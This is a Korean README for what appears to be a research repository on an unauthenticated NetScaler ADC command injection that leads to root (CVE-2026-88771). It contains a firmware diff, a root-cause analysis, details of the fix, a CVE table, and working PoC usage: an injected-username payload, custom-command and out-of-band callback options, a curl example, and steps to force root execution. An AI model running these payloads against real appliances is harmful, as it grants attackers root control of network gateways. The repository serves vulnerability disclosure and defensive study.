
인증 없이 NetScaler ADC 명령 주입(CVE-2026-88771)이 root 실행으로 이어지는 취약점에 대한 펌웨어 diff 분석, 근본 원인 분석 문서, 그리고 동작하는 PoC입니다.
Citrix ADC(NetScaler) 14.1-66.59 및 14.1-72.61에서 인증 없이 임의 명령 실행(루트 권한)이 가능합니다. 14.1-73.37(및 13.1-64.23)에서 수정되었습니다. CVSS 9.5이며, 기본 배포 환경에 영향을 미치고 추가 기능이 필요하지 않습니다.
이 저장소에는 펌웨어 디프 분석, 추출된 취약점 증거, 그리고 동작하는 개념 증명(PoC)이 포함되어 있습니다.
analysis/CVE-2026-88771_STAGE_BY_STAGE.mdanalysis/CVE-2026-88771_ROOT_CAUSE.mdpoc/ — poc/README.md 참조실패한 비인증 관리 로그인은 공격자가 제어하는 사용자 이름과 함께 /var/log/ns.log에 감사 기록됩니다. 기본 활성화된 루트 텔레메트리 워커(admautoregd, 펌웨어의 외부 mastools_scripts.tgz에 포함되어 배포됨)는 주기적으로 /netscaler/ns_monuploadd_err.pl -WR을 실행합니다. 취약한 빌드에서 해당 분기는 일치하는 로그 라인을 광범위한 grep | sed | awk를 통해 파이프하고, 그 결과를 따옴표 없이 셸 명령에 삽입합니다:
# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died와 같이 조작된 사용자 이름은
파이프라인을 통과하면서 셸 토큰 NSPPE-00;id>/tmp/pwned;#-unexpectedly로 살아남아,
백틱 싱크가 find ... -name NSPPE-00을 실행한 뒤 id>/tmp/pwned(root)를 실행하고,
이어서 # 주석이 처리됩니다.
/nitro/v1/config/login에 대한 POST를 허용합니다
(evidence/gui-72.61/admin_ui/nitro/nitro.php);
브라우저 로그인 컨트롤러는 username/password를 그대로 전달합니다
(evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).length < 128만 검사하며, 문자 허용 목록은 없습니다
(디컴파일: analysis/nsppe_api_login_799b90.c).CMD_EXECUTED 레코드로
/var/log/ns.log에 감사 기록됩니다 (포매터 디컴파일:
analysis/nsppe_cmdexecuted_decomp.c).nsstartpe.sh → admautoregd_ctl startup, root), 첫 번째 프로브와
이후 24시간마다 subprocess.Popen을 통해
CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR'을 실행합니다
(evidence/mastools-72.61/scripts/admautoreg/constant.py).ns_monuploadd_err.pl의 -WR 분기는 로그에서 파생된 토큰을
따옴표 없이 백틱 명령에 삽입합니다 — 코어 파일 존재 여부를 확인하기 전에
root 권한으로 명령이 실행됩니다.두 부분이 함께 수정되었습니다:
ns_monuploadd_err.pl은 파이프라인을 엄격한 Perl 정규식
(NSPPE-\d{2} + 숫자 PID만 허용)으로 교체하고, 리스트 형식의
open '-|'(셸 없음)를 통해 find를 호출합니다 — 참조:
evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.admautoregd 호출자 전체가 제거되었습니다: CHECK_PE_FAILURE_CMD,
_check_disk_pe_failure(), get_pe_failure_info() 모두 73.37 mastools
패키지에서 사라졌습니다 — 비교:
evidence/mastools-72.61/ vs
evidence/mastools-73.37/.CVE-2026-88771은 Citrix의 조정된 보안 공지에 포함된 8개 CVE 중 하나입니다. 보안 공지와 공개된 watchTowr 분석에 따르면, 해당 CVE 집합과 그 처분은 다음과 같습니다:
| CVE | 설명 | CVSS 4.0 | 실제 공격 악용 여부 |
|---|---|---|---|
| CVE-2026-88771 | 인증 전 명령 주입 (이 저장소) — 기본 구성 | 9.5 Critical | 예 |
| CVE-2026-88772 | DTLS 활성화 시 메모리 오버플로 (RCE/DoS) — VPN vServer 기본값 | 9.5 Critical | 예 |
| CVE-2026-88773 | HTTP 요청 스머글링 — 구성 의존적 | 9.3 Critical | 아니오 |
| CVE-2026-88774 | 구성 의존적 | 7.0 High | 아니오 |
| CVE-2026-88775 | 메모리 오버플로 — 구성 의존적 | 8.8 High | 아니오 |
| CVE-2026-88776 | 메모리 오버플로 — 구성 의존적 | 8.8 High | 아니오 |
| CVE-2026-88777 | 메모리 오버플로 — 구성 의존적 | 8.8 High | 아니오 |
| CVE-2026-88778 | 예측 가능한 ISN — 업그레이드만으로는 부족하며 Enhanced ISN Generation을 활성화해야 수정됨 | 8.8 High | 아니오 |
보안 공지에 따른 수정 릴리스 (위의 14.1 / 13.1 쌍만이 아님):
승인된 테스트에만 사용하십시오. 원격 측은 인증되지 않은 HTTPS
POST 하나이며, 주입된 명령은 텔레메트리 워커가 다음 24시간 주기 PE 실패 검사를
실행할 때 나중에 root 권한으로 실행됩니다 (어플라이언스를 재부팅하거나
admautoregd를 재시작하면 강제로 실행됩니다).
# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example
# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
--cmd 'id>/tmp/cve88771_ef60f0de46d9'
# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3
HTTP 401이 발생할 것으로 예상합니다. 실패한 로그인이 바로 감사 로그 라인을 기록하는 원인입니다.
그런 다음 어플라이언스에서(또는 최대 24시간 대기하여) 워커를 트리거합니다:
reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart
루트 실행 확인: ls -l /tmp/cve88771_ef60f0de46d9는
root:wheel을 표시해야 합니다.
동일한 페이로드 규칙을 적용합니다: 리터럴 공백, (, ), ?,
또는 &가 포함된 명령은 전송 전에 거부됩니다(종료 코드 2). 공백에는 ${IFS}를 사용하세요.
python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id>/tmp/cve88771_ef60f0de46d9'
python3 poc/cve_2026_88771_poc.py netscaler.local 'id>/tmp/pwned' --port 8443
python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id' --marker # random marker path
# command needs a space? use ${IFS} (no literal spaces allowed):
python3 poc/cve_2026_88771_poc.py 10.0.0.5 '/usr/bin/curl${IFS}-sk${IFS}http://10.0.0.9/88771'
취약한 파이프라인이 아무것도 실행하지 않고 셸에서 중요한 문자를 자신의 싱크로 전달하는지 확인합니다:
python3 poc/safe_cve_2026_88771_parser_poc.py
python3 -m unittest discover -s poc -p 'test_*.py' -v
README.md this file
poc/ working PoCs + safe parser harness
analysis/ firmware diff analysis, decompilations,
evidence hashes, investigation notes
evidence/
rootfs-{66.59,72.61,73.37}/netscaler/ ns_monuploadd_err.pl (vuln/vuln/fixed), nsstartpe.sh
mastools-{66.59,72.61,73.37}/scripts/ admautoreg telemetry daemon (caller present/absent)
gui-72.61/admin_ui/ nitro.php handler + Login.php controller